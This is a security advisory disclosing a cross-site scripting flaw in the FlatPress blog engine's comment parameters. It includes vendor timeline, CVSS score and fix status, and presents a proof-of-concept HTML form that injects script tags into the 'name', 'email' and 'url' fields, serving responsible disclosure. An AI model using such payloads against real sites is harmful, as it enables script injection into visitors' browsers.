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Cross-site Scripting (XSS) Vulnerability in FlatPress

Advisory ID:HTB23022
Product:FlatPress
Vendor:Edoardo Vacchi
Vulnerable Versions:0.1010.1 and probably prior
Tested Version:0.1010.1
Advisory Publication:June 7, 2011 [without technical details]
Vendor Notification:June 7, 2011
Public Disclosure:June 28, 2011
Vulnerability Type:Cross-Site Scripting [CWE-79]
Risk Level:Medium
CVSSv2 Base Score:4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered vulnerability in FlatPress which could be exploited to perform cross-site scripting attacks.

1) Cross-site scripting (XSS) vulnerability in FlatPress
The vulnerability exists due to input sanitation error in the "name", "email" and "url" parameters in index.php. A remote attacker can send a specially crafted HTTP POST request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.
Exploitation example:
<form action="http://[host]/index.php?x=entry:entry110603-123922;comments:1" method="post">
<input type="hidden" name="name" value='"><script>alert(1);</script>'>
<input type="hidden" name="email" value='"><script>alert(2);</script>'>
<input type="hidden" name="url" value='"><script>alert(3);</script>'>
<input name="send" value="EXPLOIT" type="submit">
</form>

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Solution:
Upgrade to the most recent version


References:
[1] High-Tech Bridge Advisory HTB23022 - https://www.immuniweb.com/advisory/HTB23022 - Cross-site Scripting (XSS) Vulnerability in FlatPress
[2] FlatPress - flatpress.org - FlatPress is a new blog engine.
[3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
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